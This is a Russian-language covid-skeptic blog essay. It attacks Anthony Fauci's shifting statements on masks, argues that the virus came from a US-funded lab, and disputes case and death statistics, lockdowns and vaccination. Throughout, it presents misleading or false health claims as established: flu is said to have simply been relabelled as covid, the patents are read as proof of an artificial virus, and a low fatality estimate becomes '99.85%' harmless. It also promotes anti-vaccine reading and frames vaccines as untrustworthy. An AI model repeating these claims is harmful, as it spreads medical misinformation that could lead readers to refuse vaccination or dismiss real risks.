Его карьера ознаменована множеством скандалов, перечислять здесь всё это не имеет смысла. Вот, например, хорошая статья о том, [как именно он подмял под себя вич-индустрию](https://thefederalist.com/2021/01/13/a-short-history-of-how-anthony-fauci-has-kept-failing-up-since-1984/). Дальнейшие расследования привели к тому, что его собственное исследование по ВИЧ тщательно изучили — и [не нашли никаких следов самого исследования](http://aras.ab.ca/articles/scientific/DatalessGraphs.html). Есть предположение, что он просто нарисовал итоговый график, и поэтому сейчас этот график не бьётся с реальными исследованиями у реальных больных СПИДом. Но это всё старинные дела, изначально все обратили внимание на то, как он вёл себя во время ковидных событий.
Вот знаменитое заявление: [«вы атакуете не просто доктора Фаучи, вы атакуете науку»](https://twitter.com/stillgray/status/1402887324543815686). Практически научный дедушка Ленин:
`Нет ничего их союза круче,
Нежизнеспособны они друг без друга:
Говорим "наука" - подразумеваем Фаучи,
Говорим Фаучи - подразумеваем "наука".`
Ну, от скромности он не умрёт, там в США делают и продают его куклы, на амазоне есть маски и носки с его портретами, книжку он о себе издаёт и всё такое. Однако, чем оправдано такое самомнение?
Теперь у нас уже есть рабочая переписка Фаучи, однако и сами по себе его заявления в прессе, противоречащие друг другу, тоже являются отличной иллюстрацией.
5-го февраля 2020-го Фаучи писал бывшей Директору Офиса Менеджмента и Бюджета при Обаме, что маски нужны инфицированным, чтобы не оплевывали окружающих при кашле. Помимо этих капель, маски вируса не задерживают, и [Фаучи их носить не советует](https://twitter.com/robbystarbuck/status/1399953420061220865).
В марте 2020 года Фаучи заявил что [маски носить не нужно, они только создают ощущение пользы](https://www.newsweek.com/fact-check-did-dr-fauci-say-no-masks-like-trump-claiming-1540383). Теперь это стараются не вспоминать. VOX [стерли](https://twitter.com/echo_chamberz/status/1341127731933679617?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1341127731933679617%7Ctwgr%5E%7Ctwcon%5Es1_) старые твиты о том, как не надо маски носить. Точно так же оказалось, что [статья](https://www.nejm.org/doi/full/10.1056/NEJMp2006372), опубликованная в одном из ведущих медицинских журналов, New Eangland Journal of Medicine в мае 2020-го, и где объяснялось, что в публичных местах за пределами госпиталей маски дают небольшую защиту, если вообще дают какую-то, — перешла из списка «надо слушать экспертов» в список, который надо скорее забыть, и никогда не вспоминать. Но про масочную ложь мы уже знаем из предыдущего раздела. Что же Фаучи?
Фаучи заявил, что он врал про маски — причем именно врал, он отнюдь не был честным «скептиком», он считал, что маски это нужно и важно, но советовал их не носить, чтобы не раскупили ([я указываю здесь ссылку на ВК, потому что на ютубе оригинал потёрли но если есть другая прямая выдержка из его интервью, то пожалуйста дайте её](https://vk.com/video93674202_456240676))
**Внимание, вопрос от скептика:** если «доктор Фаучи» может прямо врать — пусть даже из «благих побуждений» (хотя если бы маски действительно помогали, то такие «благие побуждения» привели бы к смерти миллионов человек) — и считает это нормой, то где гарантия, что он прямо сейчас тоже не лжёт из каких-нибудь других благих побуждений?
Вот здесь [спрашивают](https://www.youtube.com/watch?v=PEmOG16aEmI) Фаучи — есть хоть какие-то научные исследования, которые показали бы необходимость ношения масок, или это напоказ, типа, театр? Фаучи объясняет, что он носит две маски, хотя он полностью привит — и это вовсе не театр, но это «научно необходимо».
Проходит пара месяцев, Фаучи маску снял, и [объяснил](https://mobile.twitter.com/YALiberty/status/1394657595949002758), что до того, как CDC поменяли указания, он носил маску, чтобы не было «mixed signals», однако, вероятность того, что он заразится после вакцинации даже в помещении чрезвычайно мала, и он теперь маску не носит. Иначе говоря, когда Пол обвинил его, что это просто напоказ и «театр», то так оно и было.
Вот Фаучи спрашивают — Техас «открыли» в начале марта, и они там живут, как в 2019-м, рестораны, спортивные мероприятия, а количество заражений и госпитализаций продолжает уменьшаться, это как понимать? [Ну, это смущает, да, но](https://youtu.be/NPvobd8ugb8) есть задержка по времени, или, может, они что-то делают иначе, скажем, проводят время на улице.
> [Самое примечательное — это небрежность, с которой Фаучи замечает, что, может, там есть какие-то другие факторы](https://arbat.livejournal.com/1123507.html). Он считает, что маски критически важны, да? Он считает, что дистанцирование тоже очень важно. Он считает, что это спасает жизни людей. Ок. Он допускает мысль, что в Техасе есть какие-то другие факторы, которые спасают так сильно, что даже отмена масок и дистанцирования не вызвала скачка заражений, — и что дальше? Если ему в голову уже пришла эта совершенно правильная мысль, что есть факторы, которые куда важнее масок и дистанцирования, то почему Фаучи совершенно не интересно, что это за факторы такие? Каким образом самый научный ученый страны не вскочил с криком, — я должен знать эти факторы, которые круче масок спасают жизни людей! Каким образом Генеральный Директор Эпидемии не отдал приказ CDC срочно найти эти факторы? То же самое, Швеция, Норвегия и Финляндия, — страны, где правительственные меры были одни из самых умеренных, имеют одни из самых низких уровней смертности, очевидно, опять какие-то факторы куда важнее всего, что делают остальные правительства, должны быть такие факторы, и опять это не возбудило ученых, не заинтересовало Фаучи. Не высадился в Скандинавии научный десант эпидемиологов, поклявшихся раскрыть эту тайну, или погибнуть геройски.
Впрочем, научному учёному совершенно не нужна какая-то там наука, чтобы давать рекомендации, на основании которых прессуют сотни миллионов людей.
[Вот его спрашивают:](https://twitter.com/tomselliott/status/1369623714426454018.) скажите, Фаучи, администрация Байдена говорит, что принимает решения «на основе науки», а какая именно наука не позволяет сказать, что людям с полной прививкой можно путешествовать? Фаучи объясняет научный подоход так: когда нету данных и свидетельств, приходится положиться на свое суждение.
25 апреля Фаучи [заявил](https://www.dailymail.co.uk/news/article-9510537/Fauci-flip-flops-Doctor-acknowledges-outdoor-COVID-19-transmission-risk-low.html), что будут сообщены новые расслабленные правила, поскольку это «здравый смысл». Опять, без объяснений, какие конкретные показатели изменились, и, если он работает не по показателям, то, хотя бы, в какой момент его посетил здравый смысл, и почему его предыдущие рекомендации были этого смысла лишены.
(Оцените саму ссылку на статью)
13 мая Фаучи [объявил](https://www.forbes.com/sites/jemimamcevoy/2021/05/13/fauci-urges-fully-vaccinated-americans-to-make-that-transition-and-stop-wearing-masks-outside/?sh=1c8a9d3275da), что тем, кто вакцинировался, можно ходить по улице без масок, однако, надо носить маски там, где очень много народу — опять, не объясняя, какие именно научные достижения показали, что это можно делать, если еще вчера было нельзя, или какие показатели изменились, которые сделали это возможным. Объяснений, почему тем, кто не вакцинировался, нельзя ходить по улице без маски, и почему вообще когда-либо были нужны маски на улице, тоже не было.
UPD: А вот [история](https://www.lifesitenews.com/news/inventor-of-covid-test-calls-fauci-a-liar-says-it-doesnt-tell-you-that-youre-sick) о том, как уже упомянутый Кэри Маллис называет Фаучи лжецом, обвиняя в тотальной глупости и некомпетентности.
Уже тот простой факт, что ссылка на статью в Дейли Майл содержит ироническое «Fauci-flip-flops-Doctor» — говорит о том, что его переобувания в воздухе заметны не только ковидоскептикам. Тем не менее, этот «доктор Фаучи» остаётся советником президента, научным авторитетом — и всем нам предлагают безусловно верить ему, потому что он «эксперт».
Но вся его болтовня про маски меркнет по сравнению с тем фактом что именно Фаучи в конечном счёте был связан с той самой лабораторией в Ухани, и, предполжительно, именно его Институт давал деньги Уханьской лаборатории на исследование вируса. И об этом мы поговорим в отдельном разделе.
Происхождение вируса
--------------------
**Механизмы скрытия правды в современном медийном пространстве**
[Здесь я полностью воспользуюсь скопированным кратким изложением из ЖЖ arbat:](https://arbat.livejournal.com/1125202.html)
Vanity Fair опубликовали длинную [статью](https://www.vanityfair.com/news/2021/06/the-lab-leak-theory-inside-the-fight-to-uncover-covid-19s-origins) с разбором полетов, из которой мы узнали:
* Что письмо в феврале 2020-го в Ланцете о том, что лабораторное происхождение вируса это «теория заговора» и ксенофобия, которое положило конец дебатам о происхождении вируса, и взамен начало кампанию [травли](https://www.dailymail.co.uk/news/article-9649259/Doctor-warned-pandemic-coming-slammed-having-conflict-interest.html) несогласных, — была организованo Peter Daszak.
* Что бывшему директору CDC, Robert Redfield, после того, как он сказал, что считает, что ковид появился в лаборатории, коллеги ученые начали угрожать смертью. И ученые же подвергали остракизму всех, кто смел упоминать лабораторное происхождение вируса.
* Что Китай агрессивно сопротивлялся расследованию, арестовывая тех, кто позволял себе обсуждать запретную тему.
* Что тем, кто расследовал этот вопрос в Госдепе, стало ясно, что в правительстве есть огромная бюрократия, которая занимается спонсорством GOF
* Что этим расследующим начали намекать, чтобы они это прекратили, мол, не надо открывать ящик Пандоры!
Вот [видео](https://youtu.be/2uZzoznjjKg), где кратко излагается история возникновения вируса
Работы над мофицикациями коронавирусов начал Ralph Baric в 1999. В 2003-м CDC подал заявку на патент на передаваемого человеку коронавируса SARS-CoV (US7776521B1 и US7220852B1). Патентные законы США позволяют патентовать только искусственно созданные последовательности ДНК, что означает одно из двух, — или патент был незаконный, или это было нарушение запрета на создание биологического оружия.
В 2007-м CDC запросили патентное бюро, чтобы их заявка не публиковалась.
В 2012-м NIH забеспокоился, и объявил, что исследования «gain of function» (GoFR), когда вируса ускоренно мутируют, чтобы посмотреть, как он может стать особенно заразным, очень опасны, если изучаемые вирусы как-то сбегут из лабораторий, и финансирование этих исследований прикрыли. Но, добавили они, если вы уже какие-то деньги получили, то можете продолжать, если хотите.
В 2015-м появилась статья в Nature Medicine о том, как ученым удалось скомбинировали куски вируса SHC014 из китайских летучих мышей с SARS, и получили нечто, что могло заражать клетки дыхательных путей человека. Народ испугался, и финансирование прикрыли совсем.
Вот тут-то они и перенесли исследования в Уханьский Вирологический Институт, которому они платили деньги через третьи фирмы, — типа, правительство США заказывает какие-то биологические исследования у американских фирм, а уж где эти фирмы размещают заказы, это их дело.
Иначе говоря, если основные факты верны, то, если вирус сбежал из лаборатории в Ухане, это будет означать, что все, что происходит, это результат того, что некоторые люди, и Фаучи прежде всего, решили положить с прибором на предупреждения, что они занимаются чем-то опасным, — и это самый минимум, в предположении, что вирус «природный», и сбежал случайно. Соответственно, Фаучи, и все прочие участники этого дела не могут восприниматься как беспристрастные авторитеты по вопросу, откуда взялся вирус.
В 2012-м Фаучи писал, что эти исследования несут очень небольшой, ничтожный, пренебрежимый риск вызвать пандемию, но эти исследования того стоят. Сам Фаучи усиленно это отрицал и подчищал следы — [материалы конференции 2016-го года по Вирусным Инфекциям и Иммунитету, под эгидой Nature, где участвовали двое ученых из института, которым командовал Фаучи, были стерты с сайта Nature](https://thenationalpulse.com/exclusive/fauci-scientists-attended-wuhan-lab-conference/)
При всём при этом Фаучи до сих пор работает в правительстве — но это неудивительно, если учесть его тесную работу с чиновниками. Однако и так называемое научное сообщество, или хотя бы медицинское сообщество — до сих пор не осудило его за постоянную ложь, не потребовало отстранить от должности. То есть, грубо говоря, покуда Фаучи находится на своей должности и говорит «от лица американской науки» — он дискредитирует не только себя, и не только американскую науку, но и всю науку вообще.
Маленькое отступление на один абзац о науке вообще.
Услужливый фактчек
------------------
**Ну что же, один вычеркнули, осталось вычеркнуть ещё три?**
Если бы я месяц назад утверждал, что вирус искусственный — меня бы подняли на смех, приводя многочисленные ссылки на «учёных экспертов», на [команду фейсбука, банящую за это](https://nypost.com/2021/05/27/facebook-and-its-censorious-fact-checkers-have-utterly-discredited-themselves/), на «фактчекеров» из Вашингтон Пост, на [«научный консенсус» по этому поводу](https://www.politifact.com/li-meng-yan-fact-check/). Мне бы принялись рассказывать, что это нелепая и смешная теория заговора, совершенно ненаучная и осуждаемая во всём мире как мракобесие и конспирология. Мне бы приводили бы многочисленные ссылки на «фактчеки» и «статьи экспертов», на «научные заявления учёных» и так далее, называя меня конспирологом.
Это просто дистиллированный образец того, во что превратилось современное «научное сообщество» и почему — возвращаемся к теме статьи — его заявления не вызывают доверия, а только подозрения и вопросы. Можно говорить, что во всём виноваты медиа. Но где были учёные, которые участвовали во всём этом беспределе?
Люди ставили свои имена и научные звания под «фактчеками», высказывали одобрение запретам на обсуждение противоположного мнения, подписывали статьи об этом, принимали к публикации статьи об этом, и искренне при этом верили, что они занимаются наукой и беспристрастной научной деятельностью.
И вдруг в один момент по политическим мотивам «факт», прошедший «фактчек» перестал быть фактом.
Спрашивается — почему же мы должны верить «коллективному мнению учёных» в другом случае, например, в случае с опасностью ковидной пандемии? Или в случае с действенностью вакцины от ковида? Если «авторитет науки» так сильно дискредитирован, и отдельными личностями типа Фаучи или Фергюсона, и по сути политическими «коллективными письмами» в самые уважаемые научные журналы. Я уже задавал этот вопрос относительно персональной лжи Фаучи или Фергюссона — но вот тот же самый вопрос касается и всего остального научного мира.
Это, напоминаю, всё ещё причины нашего скепсиса.
А теперь вернёмся к нашей основной хронологической последовательности и посмотрим на статистику, которой нас пугали полтора года.
Ревизские сказки
----------------
**Смертельная ковидная пандемия всё ещё несравнима с эпидемией гриппа в 1999/2000 году**
Все люди, хоть немного понимающие в статистике, были изумлены в самом начале пандемии, когда все дружно начали публиковать исключительно пропагандистские данные.
Обывателю, конечно, может казаться, что «числа зараженных» и «числа умерших» вполне достаточно для того, чтобы составить общую картину. Но когда все СМИ наперебой голосили о «чудовищном заполнении больниц» и показывали видео с людьми в коридорах — ни один из раздувающих панику «сайтов о ковиде» не публиковал базовую линию свободных коек в стране.
Впрочем, в интернете составили по открытым источникам сравнительный график по заполнению больниц в Англии. Для его опровержения достаточно было регулярно публиковать полностью открытые официальные данные о количестве коек и пациентов. Чего, конечно, сделано в итоге так и не было почти ни в одной стране мира.
**Борьба с переполнением пустых больниц**
Вполне естественно было подозревать манипуляцию с данными — ведь если у человека существует базовая линия, то он может сам понять уровень заполняемости коек, не слушая криков о «переполненных больницах». И если [вдруг какие-то койки остаются пустыми](https://archive.md/2m4nu) — значит либо крики о переполненных больницах это прямое враньё, либо политики и чиновники плохо справляются с организационными проблемами, а значит следует их убрать. Но почему же учёные, беспристрастные и справедливые, не потребовали публикации этой кривой?
Возможно, по той же причине, по которой для числа зараженных никогда не публиковалось число тестов и число «бессимптомных больных». Что тоже вызывало огромное удивление людей, хоть что-то понимающих в статистике. Особенно на фоне того, что некоторым людям приходилось — например, по роду занятий, делать тесты чаще чем один раз в месяц или даже в неделю. Таким образом мы не получали нормализованных данных вида «заражений на человека» или хотя бы «заражений на тест». Мы получали пропагандистскую паническую волну во всех СМИ, которой нам предлагали верить, не показывая никакой статистики.
Но некоторые вещи потихоньку прорывались сквозь информационный шум. Например, мы узнали, что [в США и ряде других стран просто исчез грипп](https://strana.ua/news/329734-v-ssha-pochti-ischez-hripp-za-sezon-zaboleli-menshe-2-tysjach-chelovek.html). Правда общая численность заболевших осталась прежней, что приводит к вполне естественной идее о том, что грипп просто переименован в ковид.
На это существует опять же довольно сомнительное возражение — мол, локдауны и маски защитили людей от гриппа, но не защитили от хищного всепроникающего ковида. Однако этот аргумент полностью разбивается знанием того, что в ряде штатов были обязательные меры введены, а в ряде штатов — нет. Соответственно, те штаты, где меры от ковида не применялись, должны были дать рост заражений как по гриппу, так и по ковиду. То есть грипп не должен был исчезнуть совсем, а общее число заболевших должно было стать выше прежнего уровня. Такие дела.
UPD: потрясающая [новость](https://hippy-end.livejournal.com/4298771.html) появилась в конце июля 2021 года. CDC [отзывает временное разрешение на один из ПЦР-тестов и призывает перейти на другой тест](https://www.cdc.gov/csels/dls/locs/2021/07-21-2021-lab-alert-Changes_CDC_RT-PCR_SARS-CoV-2_Testing_1.html), «который может облегчить обнаружение и дифференцировку вирусов SARS-CoV-2 и гриппа». Как и с тестом Дростена, о котором говорилось выше, никто не пересчитает заново «чудовищную статистику заражений», для надувания которой использовались недостаточно чувствительные тесты, плохо отличающие ковид от гриппа.
Про смешную российскую статистику писали столько, что даже не хочется повторяться. Это и ровненькие цифры заболевших и выздоровевших, и ровные столбики выявленных больных, в общем [рисовали совсем топорно и смешно](https://meduza.io/feature/2020/10/23/esli-verit-ofitsialnoy-statistike-kovidom-v-peterburge-zabolevayut-v-dva-raza-bolshe-lyudey-chem-vyzdoravlivayut-rovno-v-dva-kazhdyy-den-bolshe-mesyatsa). Просто многие думали, что такое только в России — а это совершеннейшая неправда.
Вот, например, история из Германии где существует сеть AGI для выявления эпидемий — [и эта самая сеть летом 2020 года никакой эпидемии не зафиксировала](https://nukakzetak.livejournal.com/14654.html).
**UPD**
В [комментариях](https://habr.com/ru/post/564356/#comment_23186976) дали ссылочку на [опровержение](https://correctiv.org/faktencheck/2020/08/19/rki-bericht-sagt-nicht-dass-seit-wochen-kein-sars-cov-19-fall-nachgewiesen-wurde/), с [дополнительным объяснением](https://habr.com/ru/post/564356/#comment_23187084). Каждый может прочитать и оценить самостоятельно.
Я, кстати, привёл этот пример [здесь на Хабре в комментариях](https://habr.com/ru/post/551178/#comment_22928528). Я получил на свои вопросы крайне туманные ответы вида "*вот я живу в Германии, и поэтому вы ошибаетесь*", "*если вы хорошо подумаете, то поймете*" (то есть опять же ничего по существу вопроса). И вот сейчас, желая привести этот диалог в пример, я обнаружил, что все ответы вообще стёрты с сайта. Это опять же к вопросу о том, откуда у ковидоскептиков возникает скептицизм.
UPD: мне дали совет поискать в архиве, и [действительно](https://web.archive.org/web/20210426072329/https://habr.com/ru/post/551178/#comment_22928528). Там наш диалог сохранился.
Все вот эти статистические выкрутасы просто лишний раз убеждали скептиков, что статистике тестов, заражений, «коронавирусных случаев» верить просто нельзя. Нет базы сравнения, нет нормализованных данных, наконец просто нет уверенности в отсутствии подделок и качестве тестов. Существовал только один эталонный тип статистики, в строгости которого было меньше сомнений, чем у других.
Конечно же, показатели смертности.
Смертельная битва
-----------------
**Смертность для двух разных стратегий: Германия с комендантскими часами и масками на улице против расслабленной Швеции с работающими кафе**
В первую очередь нужно понимать, что доверия «смертям от коронавируса» быть не может никакого. Начиная с того, что людей тестировали теми самыми тестами, в которых мы сомневаемся — и заканчивая тем, что причина смерти может быть записана практически любой, если умирает старый и больной многими болезнями человек.
Ещё 28 марта в британском журнале Spectator была опубликована статья [«How deadly is the coronavirus? It’s still far from clear»](https://www.spectator.co.uk/article/The-evidence-on-Covid-19-is-not-as-clear-as-we-think), где предупреждалось о серьёзной проблеме со статистикой смертей:
> Если в Великобритании кто-то умирает от респираторной инфекции, то конкретная причина инфекции обычно не регистрируется, если только заболевание не является редким «заболеванием, подлежащим регистрации». Таким образом, подавляющее большинство случаев смерти от респираторных заболеваний в Великобритании регистрируется как бронхопневмония, пневмония, пожилой возраст или подобное обозначение. Мы не проводим тестирование на грипп или другие сезонные инфекции. Если у пациента, скажем, рак, болезнь двигательных нейронов или другое серьезное заболевание, это будет записано как причина смерти, даже если последняя болезнь была респираторной инфекцией. Это означает, что в британских сертификатах обычно не регистрируются случаи смерти от респираторных инфекций.
>
>
>
> Теперь посмотрим, что произошло с момента появления Covid-19. Список заболеваний, подлежащих регистрации, обновлен. Этот список, содержащий оспу (которой нет много лет) и такие состояния, как сибирская язва, бруцеллез, чума и бешенство (которые большинство британских врачей никогда не увидят за всю свою карьеру), теперь был изменен, чтобы включить Covid- 19. Но не грипп. Это означает, что каждый положительный тест на Covid-19 должен быть зафиксирован, чего не делается для гриппа или большинства других инфекций.
>
>
>
> В нынешних условиях любой, кто имеет положительный тест на Covid-19, наверняка будет известен медицинскому персоналу, который ухаживает за ним: если кто-либо из этих пациентов умрет, персонал должен будет записать обозначение Covid-19 в свидетельстве о смерти — вопреки обычной практике для большинства инфекций такого рода. Существует большая разница между Covid-19, вызывающим смерть, и Covid-19, обнаруживаемым у кого-то, кто умер по другим причинам. Если Covid-19 будет зафиксирован, это может привести к увеличению числа смертей, независимо от того, правда это или нет.
>
>
>
> Это может показаться гораздо более смертельным, чем грипп, просто из-за того, каким образом регистрируются случаи смерти.
Вот так просто можно превратить простуду в оспу, если просто регистрировать все смерти от неё. Этого, впрочем, было мало. Пандемию раздували как могли — и я уже пишу это без оговорок про «сомнения» и «подозрения», потому что теперь мы знаем, что это так и было. [Погибших в аварии записывали в умерших от ковида](https://www.fox35orlando.com/news/fox-35-investigates-questions-raised-after-fatal-motorcycle-crash-listed-as-covid-19-death). В Миннесоте два законодателя, один из них врач, изучили 2800 свидетельств о смерти от ковида, и [считают](https://www.washingtonexaminer.com/news/coronavirus-death-certificates-minnesota-inflated), что в 800 случаях ковид не был причиной смерти. [Оказалось](https://nymag.com/intelligencer/2021/05/study-number-of-kids-hospitalized-for-covid-is-overcounted.html), что в Калифорнии число госпитализаций детей из-за ковида тоже вздуты процентов на 40 — они записывали туда всех, у кого находили ковид. В Нью Джерси [почти 90 процентов](https://www.cidjournal.com/article/S0738-081X(20)30231-5/fulltext) умерших «от ковида» оформили бумажки, что их не реанимировать, что указывает на то, что это были уже смертельно больные люди.
Даже в Швеции, на которую смотрел весь мир, медицинские службы провели в одном из регионов аудит смертей от ковида и выяснили, что [в 70% случаев смертей от ковида «covid-19 был скорее сопутствующим фактором, чем прямой причиной».](http://lakartidningen.se/aktuellt/nyheter/2020/08/covid-19-oftast-inte-ensam-orsak-vid-dodsfall-bland-aldre)
Здесь обычно начинаются громкие крики про то, что всё равно ковид виноват в этих смертях, люди бы жили да жили. И здесь начинается конкурс причин смерти.
Ужас в том, что антиковидные меры вполне могли забрать намного больше жизней, чем сам ковид. Эта информация ещё ждёт своих исследователей.
В Швеции [«избыточная смертность» так и не превысила уровень прошлого десятилетия и так и не превысила 0,1% популяции](https://nitter.fdn.fr/pic/media%2FEsBCXXmW8AEgMvm.jpg%3Fname%3Dorig), средний возраст умершего от коронавируса в Швеции 84 года. Это произошло в стране, где не было никаких антиковидных мер, паники, истерики, локдаунов и маскобесия.
Что произошло в других странах — [ещё прошлым летом было написано на Хабре](https://habr.com/ru/post/511968/). Всё сбылось в полной мере. Локдауны, запреты, отмена плановой медицинской помощи, операций по трансплантации, ранней диагностики рака, инфарктов и инсультов, уносят громадное количество жизней. Как выяснилось, локдауны сами по себе вызывают массовые смерти людей — CDC сообщает, к началу октября было 100,947 смертей выше среднего уровня, не вызванных вирусом. [Скачок избыточной смертности выше всего в возрастной категории 25-44 года — 26.5%.](https://www.cdc.gov/mmwr/volumes/69/wr/pdfs/mm6942e2-H.pdf) Разумеется, выросла смертность из-за [передозировки опиоидами и другими наркотиками](https://www.ama-assn.org/system/files/2020-12/issue-brief-increases-in-opioid-related-overdose.pdf). Уровень мужских суицидов [достиг рекордного уровня за 20 лет](https://metro.co.uk/2020/09/01/male-suicide-highest-rate-20-years-13207182/). В медицине наступает кризис [недиагностированного рака](https://www.propublica.org/article/a-crisis-of-undiagnosed-cancers-is-emerging-in-the-pandemics-second-year) и число смертей [растёт](https://www.americanthinker.com/articles/2021/05/cancer_death_rates_are_up_because_of_covid_protocols.html). В Литве [от неполучения помощи умерло втрое больше, чем от коронавируса](https://www.delfi.lt/ru/news/live/pravitelstvo-litvy-prizyvayut-vernut-vse-medicinskie-uslugi-kolichestvo-izbytochnyh-smertej-sostavlyaet-pochti-10-000.d?id=86935353).
По итогу на конец марта 2021 года [смертность от коронавируса оказалась на уровне ниже 0,15%](https://onlinelibrary.wiley.com/doi/10.1111/eci.13554).
**Иными словами, в 99,85% случаев инфекция не ведёт к летальным последствиям.**
При, напоминаю, [среднем возрасте умирающих больше 80 лет](https://twitter.com/sinichol/status/1359885319793967108).
> Карантин не спас ни одной жизни и, возможно, решение о его введении стоило других жизней. Проблема эпидемиологов состоит в том, что смысл своей работы они видят в запугивании людей до изоляции и политики социального дистанцирования. Если они скажут, что будет миллион смертей, а на самом деле их окажется 25 000, то они ответят — хорошо, что вы прислушались к нашему совету. Это просто часть безумия.
>
>
>
> **Майкл Левитт, лауреат Нобелевской премии по химии, [23.05.2020](https://www.telegraph.co.uk/news/2020/05/23/lockdown-saved-no-lives-may-have-cost-nobel-prize-winner-believes/)**
Хлорохин
--------
**Трамп смотрит на Фаучи как на вирус. Потому что Фаучи [давал ему неверные советы](https://tass.ru/mezhdunarodnaya-panorama/11559731)**
Эту маленькую зарисовку я добавляю сюда, чтобы появилась ещё одна иллюстрация относительно того, как экспертное сообщество действует исключительно по политическим мотивам, а вовсе не ради поиска «научной истины» или даже «спасения жизней».
Нужно очень чётко понимать, что «пандемия» началась в ситуации политической нестабильности в США, и главным критерием поведения «экспертов», «учёных» и «журналистов» становилась одна простая вещь: лишь бы Трамп не оказался прав. Сейчас таким же важным критерием является установление единого мнения: "Великий Байден победил пандемию, которую в США принёс злодей Трамп".
Разумеется, всё это не имеет ни малейшего отношения ни к науке, ни к спасению жизней. Это заурядная политическая борьба, но нужно понимать, насколько именно она лжива и безжалостна.
* 22-го мая 2020 в одном из самых уважаемых медицинских журналов, Lancet, появляется статья о том, что какие-то исследователи сличили данные на 96 тысяч пациентов из сотен госпиталей, сложили, подсчитали, и обнаружили, что хлорохин опасен, и увеличивает вероятность смерти при коронавирусе.
* Все обрадовались. CNN немедленно сообщило, что «*лекарство, которое рекламировал Трамп*», опасно для жизни. ВОЗ прекратил исследование хлорохина «Solidarity Trial», которое они вели во многих госпиталях, — ну, раз уже известно, что он вреден, нельзя же его давать пациентам, да и не захотят пациенты вредное лекарство принимать.
* Народ начал задавать неприятные вопросы о статье в Lancet, мол, почему нету точных сведений о том, данные каких именно госпиталей использованы? Почему данные по одному из госпиталей в Австралии показывают больше смертей, чем вообще умерло в стране? Нельзя ли вообще посмотреть на эти данные?
* 30-го мая Lancet сообщил, что они внесли [поправки](https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(20)31249-6/fulltext), но результат тот же.
* 3-го июня Lancet [опубликовал](https://www.thelancet.com/journals/lanpub/article/PIIS0140-6736(20)31290-3/fulltext) «выражение озабоченности» о том, что критиками статьи были затронуты важные научные [вопросы](https://arstechnica.com/science/2020/06/doubt-looms-over-hydroxychloroquine-study-that-halted-global-trials/), [вопросы](https://blogs.sciencemag.org/pipeline/archives/2020/06/02/surgisphere-and-%20%20their-data), [вопросы](https://www.sciencemag.org/news/2020/06/mysterious-company-s-coronavirus-papers-top-medical-journals-may-be-unraveling), и проводится независимая аудиторская проверкa, заказанная фирмой, которая собрала данные.
* Никто не объяснил, почему статью подобной важности, с подобным предсказуемым влиянием на судьбы миллионов людей, можно было опубликовать, не проводя аудита заранее? Три врача, которые [писали](https://www.sciencemag.org/news/2020/06/whos-blame-these-three-scientists-are-heart-surgisphere-covid-19-scandal) статью, они тоже — не поинтересовались качеством своих данных?
* 4-го июня, Lancet сообщил, что фирма отказывается показать свои данные и дать контакты, аудит невозможен, и статью отозвали.
* Дальше стало интереснее — оказалось, фирма, которая которая собрала данные для статьи, Surgisphere, дала материалы для статьи в другом супер-престижном журнале, New England Journal of Medicine, при этом, как [выяснилось](https://twitchy.com/brettt-3136/2020/06/15/company-behind-that-retracted-hydroxychloroquine-study-media-used-to-dunk-on-trump-is-no-more/), среди пяти сотрудников фирмы только один имел отношение к медицине, и, как сообщил [The Guardian](https://www.theguardian.com/world/2020/jun/03/covid-19-surgisphere-who-world-health-organization-hydroxychloroquine), еще один был научным фантастом, и еще один «adult-content model».
* К середине июня фирма прекратила существование. Но, разумеется, исследование ВОЗ было уже не оживить.
А лекарство? А жизни? Ерунда. Главное, чтобы люди не подумали, что Трамп в чём-то был прав!
И завершу я свой обзор, разумеется, главной нынешней темой.
Вакцинация
----------
**Тем не менее, твоё тело — твоё дело даже во время пандемии**
То, как именно «экспертное сообщество» формулирует свои выводы — вызывает не меньшее тотальное недоверие, чем «флип-флопы» Фаучи. Вот цитата из довольно старой заметки доктора медицинских наук, председателя Комитета здравоохранения г. Москвы.
> [«в Москве в период наиболее активного проведения вакцинации против гриппа (1980-1986 гг.) отмечался значительный рост заболеваемости в группе гриппоподобных инфекций, а отмена вакцинации сопровождалась резким снижением заболеваемости ОРВИ
>
> …
>
> Несмотря на это, вакцинация, безусловно, продолжает оставаться самым надежным средством защиты, а прививки необходимо делать ежегодно.»](https://medi.ru/info/6639/)
Ещё раз. Если вы не поняли.
* Вакцинация увеличивала число инфекций.
* Отмена вакцинации сопровождалась снижением числа инфекций.
* Но вакцинироваться всё равно надо.
Почему надо? Потому что надо. ~~Эксперт сказал! Чёрная оспа! Чума!~~ (извините, вырвалось).
Подобная логика обывателю действительно не ясна — точно также до сих пор неясно, зачем вообще делать повторные прививки без полной гарантии. В этом вроде бы есть логика, но она крайне сомнительна.
Если мне говорят — один укол, и ты никогда не будешь болеть, это понятно. Если мне говорят — тебе нужно каждый год колоться, и ты всё равно можешь заболеть, это непонятно. Впрочем, целиком обсуждать концепцию вакцинации я здесь не готов, отсылаю всех желающих к известной [книге](https://amantonio.livejournal.com/53211.html) Амантонио (прочитать в электронном виде можно [тут](https://amantonio.livejournal.com/20771.html)).
Я могу только обратить внимание на то, что вакцины нам изготовили и рекомендуют те же самые эксперты, о которых я здесь сейчас очень долго рассказывал. Все эти «флип-флоп доктора», все эти не выполняющие собственные рекомендации политики, все эти раздувающие на ровном месте панику СМИ.
И, несмотря на научные исследования, вроде бы подтверждающие эффективность вакцин, уже сейчас мы наблюдаем новую закручивающуюся вокруг них ложь.
Вот, например, [ВОЗ попыталась удалить с сайта информацию о естественном иммунитете](https://www.aier.org/article/who-deletes-naturally-acquired-immunity-from-its-website/). Хотя каждому человеку ещё со школьных лет известно, что иммунитет приобретается после болезни — ВОЗ попыталась исправить эти данные, сделав вид, будто бы иммунитет появляется только у тех, кто вакцинировался. Профессор медицинского факультета John Hopkins University [говорит](https://summit.news/2021/05/26/johns-hopkins-prof-half-of-americans-have-natural-immunity-dismissing-it-is-biggest-failure-of-medical-leadership/), что мы наблюдаем самое политизированное CDC в Американской истории, и ругается, что они замалчивают научный факт, что те, кто перенес ковид, имеют иммунитет не хуже вакцинного, и это — примерно половина страны. И пора уважать людей, которые не хотят вакцинироваться, а не травить их.
